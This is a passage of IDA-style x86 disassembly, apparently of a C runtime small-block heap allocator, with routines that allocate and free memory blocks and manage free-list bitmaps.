loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024253h dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh, 4CF028A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 4CF024h, 5F69E890h, 0C0330241h dd 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh, 0E890004Ch dd 22F52ACh, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh dd 805C700h, 10004CF0h, 58000000h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4CF018 lea ecx, [eax+eax*4] mov eax, dword_4CF01C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_4CF014 test eax, eax jz loc_41B0CA mov ecx, dword_4CF00C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4CF00C mov eax, dword_4CF014 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4CF014 mov ecx, dword_4CF00C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4CF014 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4CF014 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4CF014 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4CF014 push dword ptr [eax+10h] push 0 push dword_4CF024 nop call near ptr 2700000h mov eax, dword_4CF018 mov edx, dword_4CF01C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4CF014 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4CF018 cmp eax, dword_4CF014 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_4CF01C mov dword_4CF010, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_4CF00C, edi mov dword_4CF014, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4CF018 mov edx, dword_4CF01C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_4CF010 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_4CF010, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_4CF014 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_4CF00C jnz short loc_41B3D9 and dword_4CF014, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_4CF018 mov ecx, dword_4CF008 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4CF01C push edi push dword_4CF024 nop call near ptr 2810000h cmp eax, edi jz short loc_41B479 add dword_4CF008, 10h mov dword_4CF01C, eax mov eax, dword_4CF018 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_4CF01C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4CF024 lea esi, [ecx+eax*4] nop call near ptr 2710000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 28406AFh cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_4CF024 nop call near ptr 2700000h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4CF018 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28406AFh test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr 